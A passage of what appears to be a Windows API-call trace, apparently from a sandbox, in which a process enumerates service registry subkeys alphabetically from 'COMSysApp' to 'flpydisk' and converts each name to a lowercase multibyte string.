lpName="COMSysApp") returned 0x0 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1e38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0239.240] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0239.240] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0239.240] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0239.240] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0239.241] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1928, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0239.241] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1e38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0239.241] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1928, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0239.241] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1e38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0239.241] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0239.241] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0239.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0239.242] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0239.242] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0239.242] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0239.242] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0239.242] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0239.242] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0239.243] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0239.243] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0239.243] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0239.243] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0239.243] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0239.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0239.244] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0239.244] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0239.244] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0239.244] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0239.244] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0239.244] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0239.245] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0239.245] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0239.245] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0239.245] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0239.245] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0239.246] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0239.246] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0239.246] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0239.246] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0239.246] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0239.246] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1e38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0239.247] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0239.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", 